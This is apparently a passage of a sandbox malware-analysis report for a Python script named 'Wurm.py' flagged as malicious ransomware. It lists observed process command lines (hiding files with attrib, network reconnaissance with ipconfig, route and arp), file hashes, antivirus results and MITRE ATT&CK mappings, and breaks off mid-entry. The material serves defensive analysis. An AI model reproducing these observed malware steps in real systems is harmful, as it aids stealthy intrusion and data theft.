"%TEMP%\\.k9_68be.py"" (UID: 00000000-00008728) Spawned process "cmd.exe" with commandline "/c "attrib +R +H +S "%TEMP%\\.k9_68be.py""" (UID: 00000000-00002372) Spawned process "attrib.exe" with commandline "attrib +R +H +S "%TEMP%\\.k9_68be.py"" (UID: 00000000-00004120) Spawned process "cmd.exe" with commandline "/c "attrib -R -H -S "%APPDATA%\\svc_back.py""" (UID: 00000000-00007648) Spawned process "attrib.exe" with commandline "attrib -R -H -S "%APPDATA%\\svc_back.py"" (UID: 00000000-00008676) Spawned process "cmd.exe" with commandline "/c "attrib +R +H +S "%APPDATA%\\svc_back.py""" (UID: 00000000-00008348) Spawned process "attrib.exe" with commandline "attrib +R +H +S "%APPDATA%\\svc_back.py"" (UID: 00000000-00003312) Spawned process "cmd.exe" with commandline "/c "ipconfig"" (UID: 00000000-00003840) Spawned process "ipconfig.exe" (UID: 00000000-00004616) Spawned process "cmd.exe" with commandline "/c "route print -4"" (UID: 00000000-00000792) Spawned process "ROUTE.EXE" with commandline "route print -4" (UID: 00000000-00002632) Spawned process "cmd.exe" with commandline "/c "ip neigh 2>/dev/null"" (UID: 00000000-00006236) Spawned process "cmd.exe" with commandline "/c "arp -a"" (UID: 00000000-00008252)7a:T5d4,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAEJUlEQVR4Xu2V61MTZxTG/ZNq662gAkop1Lu03u0NQhVBooCiVry1tTgavpROO0iRilYuRm1FRcWMOngDhKHVNgIJEEmCYRHIkGRDkqfnXbJhsyZxk/Rjz8wzyWSy+3vOOc+7O2vW/xWmVCoVYlV2djaysrIgv2dUxW7kcDiiFrtOo9HEbyIeAxzHoaKiQjCRk5MTm4l4DbDvogkm+f3fWlIDOp0uoux2e0gDcZmQGmCASAo3AVHl5eXxGYhG8hMhlZwRsWJdAes+lOIyIB+5XNIJOJ3OgOSTkTMiVjQrcLvd8Hi8MHGT6OofRat+GJ3GEQzY7PS7BzzPx2dAPnKpLBYLmrrM2PRjKzJO3MaHx5vxwTfXsOTI70guvYTMsia091pRV1cXuwH5yKXiqfNV5XdxpcOEyjt6Ab70yB9IKb2MxQcasbCkDmkHG2AbfR27gUh6NeHCRydacPWpCVU6PZYevYqUQ5eR9PVFLNxXj4Q957Gg8CzMnB2s5JywpXQF1jEn0r+/ibRvryNVgF8R4IsE+G8Er8U89RkMxWNAOvLJyUm4eDc6KGy3/rSguXsI2if9uPjYgMaHfWh40IPC6ntI3EvwIoLvqsGcnVWwjpgAxxNSGzD16u1mQq2AHa0xhxu5Ne1YdlKHjDIK3Xc3kHqsCUsOU+gOarFofwPBL+D9APwXvLujEpyN4NbCaQ2XAO7hyCZCrWBwcBBVdw1YHoBT4hncn3gWusQSghefw/zdv2JOAcHzKvHO9p8wans4DbeogaEdwGitcgPi+L1eL/Jq2ih0M8eNJV6Es8SL8LkF1QQ/LcAT1FWYGr8OmHcCL7cDpmwysUe5AVGsVp7SIf34zZDHLaH4POZT4ueqq/Fe/mnMzv0ZSUVn8KC7kzon4MuvgMEvgf6tgGED4OWVGRBXwEpMvPS47a25jyFLG1xjd94QJrTU+W7qWgUMfA4YNxN8HdC7BvBMKDMgrsDn8yFTczvouKl+uAXfeONMwAIiqDmfut5GXWdR158SfCPQ9zHQswrQLwd8U8oMiGIZKK59RIknuD/x2tZughUFw8WgmXII/gXBt1DX66nrtcCLFQRPp9/ylWdAXIHRaERTx0DQcWvp7AqGS4M28Bl1vYm6/oTgqwm+DPgnDXieAnBa5QZEsecAm0KZth3JB+qFxLc87fR3vYu6znszaH2ZNPKV1HUG8Hcq8CyZjNFzwDsVvQEml8slmAiUhyN4AcFzZ4JmLqVzXk9dXgBGzgG2s/Q/+8w1/pIzgyqcAflEBAPhgtZDn700hefUtdusDCyWEgNM8E6ED9p4C8DTO+CvRPh4q3I4K2ZAiQwGAz3bNaGD1kM5MFIo+9XCS0zO+E9qeqge6raZJkFPOz0F7lkSGaDAGSgXXAN4lzO67qMt/2ojlvwasf4F6qZdsbzcb28AAAAASUVORK5CYII=30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1794607180086,"unified_at":"2026-11-13T21:59:40.086Z","metadata":{"hashes":{"sha256":"78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","sha1":"dda4966703301711c3769e22426fba8801693e98","md5":"1a3dc205ea16666c377f664ccd107be3","sha512":"6549dc199efd53c7bd96cb12b13f388899b1155999e5ec705e53b48dc3d708b3424803bb9c6e585ba05d0b418e90e108b55ff7aba40e196c103ec587b1868726","ssdeep":"1536:NEQvJ0s/EUDO1xlvwTK6tvrdxDFaaWwPAOTaI5mxOLerLJMo/hsR5L+rE:NEQB1/1+xwjjDtIqj2E","ssdeep_chunks":["1536:NEQvJ0s","1536:EQvJ0s/","1536:QvJ0s/E","1536:vJ0s/EU","1536:J0s/EUD","1536:0s/EUDO","1536:s/EUDO1","1536:/EUDO1x","1536:EUDO1xl","1536:UDO1xlv","1536:DO1xlvw","1536:O1xlvwT","1536:1xlvwTK","1536:xlvwTK6","1536:lvwTK6t","1536:vwTK6tv","1536:wTK6tvr","1536:TK6tvrd","1536:K6tvrdx","1536:6tvrdxD","1536:tvrdxDF","1536:vrdxDFa","1536:rdxDFaa","1536:dxDFaaW","1536:xDFaaWw","1536:DFaaWwP","1536:FaaWwPA","1536:aaWwPAO","1536:aWwPAOT","1536:WwPAOTa","1536:wPAOTaI","1536:PAOTaI5","1536:AOTaI5m","1536:OTaI5mx","1536:TaI5mxO","1536:aI5mxOL","1536:I5mxOLe","1536:5mxOLer","1536:mxOLerL","1536:xOLerLJ","1536:OLerLJM","1536:LerLJMo","1536:erLJMo/","1536:rLJMo/h","1536:LJMo/hs","1536:JMo/hsR","1536:Mo/hsR5","1536:o/hsR5L","1536:/hsR5L+","1536:hsR5L+r","1536:sR5L+rE","3072:NEQvJ0s","3072:EQvJ0s/","3072:QvJ0s/E","3072:vJ0s/EU","3072:J0s/EUD","3072:0s/EUDO","3072:s/EUDO1","3072:/EUDO1x","3072:EUDO1xl","3072:UDO1xlv","3072:DO1xlvw","3072:O1xlvwT","3072:1xlvwTK","3072:xlvwTK6","3072:lvwTK6t","3072:vwTK6tv","3072:wTK6tvr","3072:TK6tvrd","3072:K6tvrdx","3072:6tvrdxD","3072:tvrdxDF","3072:vrdxDFa","3072:rdxDFaa","3072:dxDFaaW","3072:xDFaaWw","3072:DFaaWwP","3072:FaaWwPA","3072:aaWwPAO","3072:aWwPAOT","3072:WwPAOTa","3072:wPAOTaI","3072:PAOTaI5","3072:AOTaI5m","3072:OTaI5mx","3072:TaI5mxO","3072:aI5mxOL","3072:I5mxOLe","3072:5mxOLer","3072:mxOLerL","3072:xOLerLJ","3072:OLerLJM","3072:LerLJMo","3072:erLJMo/","3072:rLJMo/h","3072:LJMo/hs","3072:JMo/hsR","3072:Mo/hsR5","3072:o/hsR5L","3072:/hsR5L+","3072:hsR5L+r","3072:sR5L+rE","1536:NEQB1/1","1536:EQB1/1+","1536:QB1/1+x","1536:B1/1+xw","1536:1/1+xwj","1536:/1+xwjj","1536:1+xwjjD","1536:+xwjjDt","1536:xwjjDtI","1536:wjjDtIq","1536:jjDtIqj","1536:jDtIqj2","1536:DtIqj2E"],"imphash":"Unknown"},"file_info":{"file_name":"Wurm.py","file_type":["script","python"],"file_type_id":"python","file_size":89397,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1794606693000,"last_seen":1794606693000,"last_multi_scan":1794606693000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive","ransomware"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":107},"sandbox_signatures":{"informative_count":217,"suspicious_count":28,"malicious_count":12,"total":257},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Credential Access","technique":"Shell History","attack_id":"T1552.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/003","identifiers":[{"type":"informative","value":"Able to access Bash command history"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Able to use cURL command for network data transfer"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Able to download remote files using web shell script"},{"type":"informative","value":"Able to interact with Microsoft Store installation processes"},{"type":"informative","value":"Able to download payload via Wget"},{"type":"informative","value":"Able to download payload"},{"type":"suspicious","value":"Writes a PE file header to disc"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Systemd Service","attack_id":"T1543.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/002","identifiers":[{"type":"informative","value":"Able to create or modify system service"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Able to kill processes"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Contains ability to retrieve TCP/IP network configuration"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"malicious","value":"Tries to gather system network configuration using IPCONFIG"},{"type":"malicious","value":"Tries to gather routing configuration information ROUTE"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"suspicious","value":"Able to access crypto wallet file"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Execution","technique":"Cron","attack_id":"T1053.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/003","identifiers":[{"type":"informative","value":"Able to access crontab (possible persistence)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process using Python"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Credential Access","technique":"Password Managers","attack_id":"T1555.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/005","identifiers":[{"type":"informative","value":"Able to access password managers"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Contains ability to delete files"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"informative","value":"Able to delete files/directories"},{"type":"informative","value":"Able to remove a file/directory"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Queries the user identity associated with the current process token"},{"type":"informative","value":"Able to gather system information"},{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"},{"type":"suspicious","value":"Contains scheduled task related strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"GETs files from a web server"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"User Agent string indicates scripted web access"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Tries to GET non-existent files from a web server"},{"type":"informative","value":"Found User Agent related strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Contains ability to set the socket options (syscall string)"},{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Lateral Movement","technique":"Cloud Services","attack_id":"T1021.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/007","identifiers":[{"type":"informative","value":"Able to connect to a cloud service"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Able to evade Sandbox environment"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"malicious","value":"Able to execute commands through Windows command interpreter (ASP)"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify System Firewall","attack_id":"T1686","attack_id_wiki":"https://attack.mitre.org/techniques/T1686","identifiers":[{"type":"malicious","value":"Modifies firewall settings"},{"type":"informative","value":"Detects NETSH process execution"},{"type":"suspicious","value":"Able to modify firewall settings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Impact","technique":"Inhibit System Recovery","attack_id":"T1490","attack_id_wiki":"https://attack.mitre.org/techniques/T1490","identifiers":[{"type":"informative","value":"Able to remove system recovery points using volume management tools"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"informative","value":"Able to access zsh history file"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Found string that contains outlook file extensions .ost/.pst"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Credential Access","technique":"Steal Application Access Token","attack_id":"T1528","attack_id_wiki":"https://attack.mitre.org/techniques/T1528","identifiers":[{"type":"informative","value":"Able to access AWS credential file"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Setuid and Setgid","attack_id":"T1548.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/001","identifiers":[{"type":"informative","value":"Able to modify file privileges"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Persistence","technique":"SSH Authorized Keys","attack_id":"T1098.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1098/004","identifiers":[{"type":"informative","value":"Able to access known host"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Able to enumerate files/folders on disk"},{"type":"informative","value":"Able to locate and extract specific character/string within a file's contents"},{"type":"informative","value":"Able to search file or word using grep command"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Able to decrypt/decode data"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"informative","value":"Contains ability to upload file/data"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"suspicious","value":"Able to retrieve local network connections"},{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Systemd Timers","attack_id":"T1053.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/006","identifiers":[{"type":"informative","value":"Able to access scheduled job timer"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"malicious","value":"Uses WMIC to read BIOS 